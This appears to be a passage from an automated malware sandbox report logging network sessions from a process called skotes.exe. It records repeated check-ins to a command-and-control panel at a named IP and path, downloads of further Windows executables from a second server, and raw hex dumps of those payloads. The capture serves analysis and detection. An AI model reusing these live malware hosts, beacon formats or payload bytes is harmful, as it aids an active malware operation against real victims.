                                                                                                                                                                                                                                                            Data Ascii: MZ`@`!L!Require Windows$PEL?O_@D0O{C?l.text `.rdata;<@@.dataM@.rsrcO0P@@U`AS3;VWtf9bAt`APPPYnj'@uv=A6PP9^]v8^3hAPPPxAEE;FrP~Y6jtAt$DV%sAF8^jqA39`At@9D$tt$Ph5XAA3D$`|$u@3pAt$D$t$`A/@t$PQ%`A3T$L$fAABBfuL$3f9t@f<Aut$TAL$%S\$VC;^tLW3
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.264985085 CET1236INData Raw: c9 6a 02 5a 8b c3 f7 e2 0f 90 c1 f7 d9 0b c8 51 e8 94 80 01 00 8b f8 33 c0 39 46 08 59 7e 1d 39 46 04 7e 10 8b 0e 66 8b 0c 41 66 89 0c 47 40 3b 46 04 7c f0 ff 36 e8 68 80 01 00 59 8b 46 04 89 3e 66 83 24 47 00 89 5e 08 5f 5e 5b c2 04 00 56 8b f1
                                                                                                                                                                                                                                                            Data Ascii: jZQ39FY~9F~fAfG@;F|6hYF>f$G^_^[Vv\IY^oUQQAuVjjEP5A|At>E;Ew6rE;Es,j*P*YYtlAj@ AEPjh5XAA3D$tlA
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.265041113 CET1236INData Raw: 3b f3 74 06 8b 06 56 ff 50 08 33 c0 40 eb 25 e8 a7 fe ff ff 8d 4d e0 8b f8 e8 bb 0e 01 00 8b 06 56 ff 50 08 8b c7 eb 0c 3b f3 74 06 8b 06 56 ff 50 08 33 c0 5e 5f 5b c9 c3 56 8b f1 c7 46 04 60 c3 41 00 83 66 08 00 c7 06 34 a5 41 00 c7 46 04 24 a5
                                                                                                                                                                                                                                                            Data Ascii: ;tVP3@%MVP;tVP3^_[VF`Af4AF$AfNf$N(^Uh$AuYYtEP#UPQ3hAudYYu@]Vv({F$YtPQvzvYtVP^l$
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.265080929 CET1236INData Raw: 7d c4 0f 84 d0 02 00 00 66 83 7d c4 08 0f 85 c5 02 00 00 ff 75 cc 8d 4d f0 e8 76 f8 ff ff 8d 45 f0 50 8d 46 10 50 8d 45 e4 50 8d 5e 28 e8 1f fc ff ff 83 c4 0c 50 8b cb e8 90 f8 ff ff ff 75 e4 e8 b6 76 01 00 39 7d 14 59 0f 85 6f 02 00 00 8b 46 0c
                                                                                                                                                                                                                                                            Data Ascii: }f}uMvEPFPEP^(Puv9}YoFURjuf}f}PQ;EtMu{v}Y^f9}u~@-f}t jeVPMXuFvY,EF@FURjuPQ;Eu3f9}URjuF<F
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.265120029 CET1236INData Raw: a2 41 00 8b f8 3b fe 74 33 56 6a 01 6a 01 57 ff 15 a4 a2 41 00 56 56 56 8d 45 e4 50 ff 15 a8 a2 41 00 8d 45 e4 50 ff 15 ac a2 41 00 6a 01 57 ff 15 b0 a2 41 00 57 ff 15 b4 a2 41 00 5f 5e c9 c3 53 ff 74 24 08 ff 15 94 a2 41 00 8b d8 85 db 75 02 5b
                                                                                                                                                                                                                                                            Data Ascii: A;t3VjjWAVVVEPAEPAjWAWA_^St$Au[VW|$Wt$A5AWSWS_3^@[UDSVWjpA5XAAPuuSuhuuSt&utWS\AWS`AtPdAz=Auo5h
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.265156984 CET1236INData Raw: 59 8b 4d fc 41 51 50 89 45 f8 8d 45 98 50 ff d3 3b 45 fc 77 40 ff d7 85 c0 75 3a 8b 86 bc e0 41 00 85 c0 74 25 8b 7d f8 57 50 ff 15 2c a1 41 00 85 c0 74 13 ff b6 bc e0 41 00 e8 14 6d 01 00 89 be bc e0 41 00 eb 16 57 eb 0e 8b 45 f8 89 86 bc e0 41
                                                                                                                                                                                                                                                            Data Ascii: YMAQPEEP;Ew@u:At%}WP,AtAmAWEAulYuAAAA9t;AuS0AG3jZGQl=AYAu:%AjXPAhP4A~XP
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.265943050 CET1236INData Raw: 20 a1 41 00 85 c0 74 37 8b 4d d4 33 c0 3b c8 77 2e 72 08 8b 45 d0 3b 45 08 73 24 6a 2b e8 70 fa ff ff 50 e8 86 6b 00 00 83 f8 01 59 59 74 09 83 0d c8 e9 41 00 ff eb ae 83 0d c8 e9 41 00 02 33 c0 40 c9 c3 ff 74 24 04 e8 8d ff ff ff 85 c0 59 75 01
                                                                                                                                                                                                                                                            Data Ascii: At7M3;w.rE;Es$j+pPkYYtAA3@t$Yujht$jAt$jYu%8AV3Wt$FFYW.t$6YY~_^D$V;F|P^VWt$YWFt$AP
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.265980005 CET1236INData Raw: e8 c0 e2 ff ff 66 83 24 46 00 59 89 45 f8 8d 45 f4 50 8b cf e8 64 e5 ff ff 56 e8 8c 63 01 00 59 5b 5f 5e c9 c3 55 8b ec b8 20 10 00 00 e8 cf 63 01 00 53 56 57 8b 7d 08 8b 07 33 db 53 53 53 53 57 ff 50 10 8b 45 14 ff 75 0c 8b 35 30 a1 41 00 89 58
                                                                                                                                                                                                                                                            Data Ascii: f$FYEEPdVcY[_^U cSVW}3SSSSWPEu50AXuEE3]]]}MQ+Q5QWPE;3E8]t=+E;w`uuubE:EtuMvGE+
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.266014099 CET1236INData Raw: 46 02 eb 22 8d 46 02 66 83 38 7b 75 02 8b f0 0f b7 06 50 8b cb e8 e8 e3 ff ff 03 f7 0f b7 06 66 85 c0 75 c6 8b c6 5f 5e 5b c3 8b 4c 24 04 56 6a 5c e8 25 f7 ff ff 8b 4c 24 08 6a 2f 8b f0 e8 18 f7 ff ff 3b c6 7e 02 8b f0 8b c6 5e c3 56 57 8b 7c 24
                                                                                                                                                                                                                                                            Data Ascii: F"Ff8{uPfu_^[L$Vj\%L$j/;~^VW|$t$A~!FPPPt$Af$pw_^UtSVuWj@EPVAtIhAEPHAu6jV|Au)EVPvjhAutu]
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.266673088 CET1236INData Raw: eb 03 ff 75 ec 8d 4d e0 e8 ad f3 ff ff 8b 07 6a 05 03 c6 68 e4 a6 41 00 50 ff d3 83 c4 0c 85 c0 75 84 8b 07 6a 05 03 c6 68 e4 a6 41 00 50 ff d3 83 c4 0c 85 c0 75 d6 eb 23 80 f9 22 74 27 80 f9 5c 75 08 80 7c 30 01 22 75 01 46 0f b6 04 30 46 50 8d
                                                                                                                                                                                                                                                            Data Ascii: uMjhAPujhAPu#"t'\u|0"uF0FPMu^0u<tFuhEPEPPMFulYEPYYhAu$Auj=unYY39AAt&6AP6u4At
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.384948969 CET1236INData Raw: 4d f0 e8 ac ed ff ff 3b c7 7c 0a 8b 4d f0 66 89 3c 41 89 45 f4 6a 5c 8d 4d e4 e8 3b da ff ff 39 7d b8 74 16 8d 45 b4 50 8d 4d e4 e8 51 d7 ff ff 6a 5c 8d 4d e4 e8 20 da ff ff ff 75 e4 e8 6a fc ff ff 85 c0 59 0f 84 c2 00 00 00 8d 45 f0 50 8d 4d e4
                                                                                                                                                                                                                                                            Data Ascii: M;|Mf<AEj\M;9}tEPMQj\M ujYEPM*hAMEPhAjWhTA}`AEV}PQP9}tEuPQ9}tEuPQ,9}tEuPQ$9}tESuPQDEURhDAP|Ej


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            3192.168.2.549828185.215.113.43806756C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:19.707834959 CET184OUTPOST /Zu7JuNko/index.php HTTP/1.1
                                                                                                                                                                                                                                                            Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                            Host: 185.215.113.43
                                                                                                                                                                                                                                                            Content-Length: 31
                                                                                                                                                                                                                                                            Cache-Control: no-cache
                                                                                                                                                                                                                                                            Data Raw: 64 31 3d 31 30 31 37 31 39 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39
                                                                                                                                                                                                                                                            Data Ascii: d1=1017190001&unit=246122658369
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:21.169594049 CET193INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:09:20 GMT
                                                                                                                                                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                            Transfer-Encoding: chunked
                                                                                                                                                                                                                                                            Connection: keep-alive
                                                                                                                                                                                                                                                            Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: 4 <c>0


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            4192.168.2.54983431.41.244.11806756C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:21.292711973 CET61OUTGET /files/x3team/random.exe HTTP/1.1
                                                                                                                                                                                                                                                            Host: 31.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:22.615432024 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:09:22 GMT
                                                                                                                                                                                                                                                            Content-Type: application/octet-stream
                                                                                                                                                                                                                                                            Content-Length: 3286016
                                                                                                                                                                                                                                                            Last-Modified: Wed, 18 Dec 2024 13:43:08 GMT
                                                                                                                                                                                                                                                            Connection: keep-alive
                                                                                                                                                                                                                                                            ETag: "6762d16c-322400"
                                                                                                                                                                                                                                                            Accept-Ranges: bytes
                                                                                                                                                                                                                                                            Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 88 cf 56 f4 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 50 00 00 c8 2f 00 00 5a 02 00 00 00 00 00 ce e6 2f 00 00 20 00 00 00 00 30 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 32 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0f 00 00 00 00 00 00 00 00 00 00 00 80 e6 2f 00 4b 00 00 00 00 00 30 00 40 57 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 32 00 0c 00 00 00 33 e6 2f 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED]
                                                                                                                                                                                                                                                            Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELVP/Z/ 0@ 2@/K0@W`23/ H.text/ / `.rsrc@W0X/@@.reloc`2"2@B/H@C@z*6+(B99(*:+(^A(!**(*****(**0(*8yEcO/8^s :&8s8s 9& 8s 8*s80*0*0*0*0***0*0**
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:22.615564108 CET224INData Raw: 00 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 14 2a 00 00 00 22 00 14 a5 2e 00 00 01 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 2a 0c 00
                                                                                                                                                                                                                                                            Data Ascii: 0**".******(**~(*s;(=t8**0****0***(**0*0
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:22.615575075 CET1236INData Raw: 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 07 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 17 2a 00 00 00 12 00 00 00 2a 00 00 00 22 00 14 a5 2e 00 00 01 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12
                                                                                                                                                                                                                                                            Data Ascii: *0***".**************(**0*0*G0**
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:22.615881920 CET1236INData Raw: 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a
                                                                                                                                                                                                                                                            Data Ascii: *******************************
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:22.615895033 CET1236INData Raw: 00 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 08 00 00 00 00 00 00 00 00 14 a5 72 00 00 01 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 17 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a 00 00 00 12
                                                                                                                                                                                                                                                            Data Ascii: **0r*0******************(********
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:22.615906954 CET1236INData Raw: 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 00 2a 00 00 00 1a 28 2a 0c 00 06 2a 00 12 00 00 00 2a 00 00 00 12
                                                                                                                                                                                                                                                            Data Ascii: ********(*****0**~(* "($sS8*******0*0*0
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:22.616693974 CET1236INData Raw: 17 2a 00 00 00 12 00 00 00 2a 00 00 00 7e 28 2a 0c 00 06 38 01 00 00 00 2a 28 66 02 00 06 28 67 02 00 06 80 80 00 00 04 38 eb ff ff ff 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a
                                                                                                                                                                                                                                                            Data Ascii: **~(*8*(f(g8*********"*0*0****(**"****0
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:22.616707087 CET1236INData Raw: 00 04 00 00 00 00 00 00 00 00 00 00 2a 01 10 00 00 00 00 9e 00 46 e4 00 3a af 00 00 01 12 00 00 14 2a 00 00 00 03 30 08 00 04 00 00 00 00 00 00 00 00 00 14 2a 01 10 00 00 00 00 00 00 17 17 00 14 c2 00 00 01 13 30 06 00 04 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                            Data Ascii: *F:*0*0*0*0*\kc************"*
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:22.616717100 CET1236INData Raw: 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 17 2a 00 00 00 1a 28 2a 0c 00 06 2a 00 13 30 04 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00
                                                                                                                                                                                                                                                            Data Ascii: ******(**0*0*0*****0*0*~;******(**
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:22.617397070 CET1236INData Raw: 14 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 17 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a 03 30 08 00 04 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                            Data Ascii: *****0*0*0*';0*0*vY0**0(* 8EQe8L8G8
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:22.735137939 CET1236INData Raw: 80 61 00 69 58 5f 0c 54 70 41 00 00 00 1a 28 2a 0c 00 06 2a 00 1a 28 2a 0c 00 06 2a 00 1a 28 2a 0c 00 06 2a 00 1a 28 2a 0c 00 06 2a 00 1a 28 2a 0c 00 06 2a 00 1a 28 2a 0c 00 06 2a 00 1a 28 2a 0c 00 06 2a 00 1a 28 2a 0c 00 06 2a 00 1a 28 2a 0c 00
                                                                                                                                                                                                                                                            Data Ascii: aiX_TpA(**(**(**(**(**(**(**(**(**(**(**(**(**0**0*ALYUeDZy0


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            5192.168.2.549856185.215.113.43806756C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:30.330354929 CET184OUTPOST /Zu7JuNko/index.php HTTP/1.1
                                                                                                                                                                                                                                                            Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                            Host: 185.215.113.43
                                                                                                                                                                                                                                                            Content-Length: 31
                                                                                                                                                                                                                                                            Cache-Control: no-cache
                                                                                                                                                                                                                                                            Data Raw: 64 31 3d 31 30 31 37 31 39 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39
                                                                                                                                                                                                                                                            Data Ascii: d1=1017192001&unit=246122658369
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:31.664942980 CET193INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:09:31 GMT
                                                                                                                                                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                            Transfer-Encoding: chunked
                                                                                                                                                                                                                                                            Connection: keep-alive
                                                                                                                                                                                                                                                            Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: 4 <c>0


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            6192.168.2.54986131.41.244.11806756C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:31.787549973 CET62OUTGET /files/unique1/random.exe HTTP/1.1
                                                                                                                                                                                                                                                            Host: 31.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.115892887 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:09:32 GMT
                                                                                                                                                                                                                                                            Content-Type: application/octet-stream
                                                                                                                                                                                                                                                            Content-Length: 4426752
                                                                                                                                                                                                                                                            Last-Modified: Wed, 18 Dec 2024 23:42:36 GMT
                                                                                                                                                                                                                                                            Connection: keep-alive
                                                                                                                                                                                                                                                            ETag: "67635dec-438c00"
                                                                                                                                                                                                                                                            Accept-Ranges: bytes
                                                                                                                                                                                                                                                            Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e0 55 60 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 3e 44 00 00 2e 64 00 00 32 00 00 00 c0 b4 00 00 10 00 00 00 50 44 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 f0 b4 00 00 04 00 00 7b 3f 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 90 61 00 73 00 00 00 00 80 61 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 ac b4 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 ac b4 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED]
                                                                                                                                                                                                                                                            Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELU`g(>D.d2PD@{?D@ _asa pa>(@.rsrcaN(@.idata aP(@ 8aR(@ypghfgddT(@tqzcifttdC@.taggant0"jC@
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.115910053 CET224INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                            Data Ascii:
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.115927935 CET1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                            Data Ascii:
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.116050959 CET1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                            Data Ascii:
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.116370916 CET448INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                            Data Ascii:
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.116820097 CET1236INData Raw: 92 09 da fd 09 59 9b ba 25 25 90 b5 24 59 3a da de a6 9f a6 18 74 ac f6 5e fa c2 2f eb 43 45 e9 5e c5 a8 ae 20 2a 46 30 72 75 df 60 e4 cc be ca 71 69 3a 62 2f 30 4e 7a dc 43 90 b6 fc 6d d1 5b ba 27 d7 02 e8 4f 3c 3f a6 11 e7 03 67 02 cb e6 53 72
                                                                                                                                                                                                                                                            Data Ascii: Y%%$Y:t^/CE^ *F0ru`qi:b/0NzCm['O<?gSr.~_B]F`vcTbU)dxu.g8tqxEK],L3)\H[.cmFDJ)[w-0e@'Q+ ]"Ljq|Qs`stHv-&
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.116837978 CET224INData Raw: 27 4f ee 39 da 4d da ce 93 cd 9e 66 4d e7 b1 4e 37 2b 69 9c 0a f3 2b 2f 0f 4e 82 87 f5 83 e8 d6 9b b6 b7 27 81 76 3a c6 f7 b7 f4 23 04 1e 5a 27 9b a1 ea 1d ba e0 de a1 a5 37 11 57 ba 4d 21 12 9e 63 5f 08 3c 5d a8 62 18 76 64 52 de 72 66 7d 05 60
                                                                                                                                                                                                                                                            Data Ascii: 'O9MfMN7+i+/N'v:#Z'7WM!c_<]bvdRrf}`Ovuc/D{*RDjuY'=NrGPNqJHl@_<o5Ze8#!JCY-+gRY
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.116852999 CET1236INData Raw: 3f 64 07 68 4f 47 dd c5 32 db be 4a 99 d4 f6 d6 76 15 cc e9 d8 97 c4 ae 8c 8e c6 82 65 29 33 17 86 5f 2b e0 77 6e aa d2 30 61 0d a8 c0 5d 4f 1c ea dd 39 7f 7e 4b 6f 99 8f 4d 7c 76 8d ff ac da da 67 d3 ac 7a 0b 77 b2 bc 2b 43 08 aa 2c 5a 45 11 e6
                                                                                                                                                                                                                                                            Data Ascii: ?dhOG2Jve)3_+wn0a]O9~KoM|vgzw+C,ZEz}OPkzg|'>`,uR&I248!59ORH(~LMB:HGV|_7>,h$Ne7c6YK?
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.117213011 CET1236INData Raw: 68 de 52 82 11 6a 92 78 d9 e8 b4 7f f4 8d 37 be 8b 78 7a 10 f9 6e 15 2a ff 4d 17 f8 f0 28 fc a3 01 2b d3 d2 dd 93 af b1 f9 ab 49 76 50 5b 3a 6e 16 00 7c a4 bb b6 bc d3 ae 2c fd 7d 3e e1 bf 85 45 c3 2d 7a ac ed a8 2d 6b 17 58 4c 79 3f 22 aa e7 f6
                                                                                                                                                                                                                                                            Data Ascii: hRjx7xzn*M(+IvP[:n|,}>E-z-kXLy?"5Q@N5B"kqVG6hq,,s3BTK@-:;`5D%W0)cc[:>UVGr@Tf,qoQjdtA4sg
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.117229939 CET1236INData Raw: 3c df a3 62 a5 2a 41 20 2b 18 8f a8 98 81 66 58 26 6e b4 f5 7b 22 ab 37 2a 0b 5c 93 2d 5f 4b 98 c0 45 82 64 67 27 60 8a 8e 9c 71 8d 66 f7 3d 5e 1e 1b a9 52 72 3d 3a 2b af aa 8c a9 28 62 bb 4d 36 cb db 36 27 0a bf 25 d5 56 fc 78 34 38 8d c5 8b 29
                                                                                                                                                                                                                                                            Data Ascii: <b*A +fX&n{"7*\-_KEdg'`qf=^Rr=:+(bM66'%Vx48)+qU6<usz+o3z~Nv;'4'pex.G nIbsgFTsHEw?5Ow!&u("JI|XJ!-ibeTO.61fp/(q)x
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.235671997 CET1236INData Raw: e2 dd dd 98 f9 2e 32 22 1a 4a a8 2f 4a 3c c2 6b 7c 6d e2 ae e6 fb 0b e9 ec 10 f4 b0 36 51 9b 75 21 4d b4 bd ff ec 95 28 9a 6b 92 18 40 ad 4f 0c b2 1f 1a 30 9d 32 14 cd 9e 41 8b 97 4a 6c 44 9c 44 5d 8c 01 50 49 db 7e 06 2c b9 17 ee 4e e6 a9 2d 12
                                                                                                                                                                                                                                                            Data Ascii: .2"J/J<k|m6Qu!M(k@O02AJlDD]PI~,N-JsalP}_x3q=;a+cIeBwq#Vp+*]84"R.hNJgG5&=h2s[`Np!iPbRe)ef",


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            7192.168.2.549893185.215.113.43806756C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:42.832285881 CET184OUTPOST /Zu7JuNko/index.php HTTP/1.1
                                                                                                                                                                                                                                                            Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                            Host: 185.215.113.43
                                                                                                                                                                                                                                                            Content-Length: 31
                                                                                                                                                                                                                                                            Cache-Control: no-cache
                                                                                                                                                                                                                                                            Data Raw: 64 31 3d 31 30 31 37 31 39 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39
                                                                                                                                                                                                                                                            Data Ascii: d1=1017193001&unit=246122658369
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:44.157700062 CET193INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:09:43 GMT
                                                                                                                                                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                            Transfer-Encoding: chunked
                                                                                                                                                                                                                                                            Connection: keep-alive
                                                                                                                                                                                                                                                            Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: 4 <c>0


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            8192.168.2.549896185.215.113.16806756C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
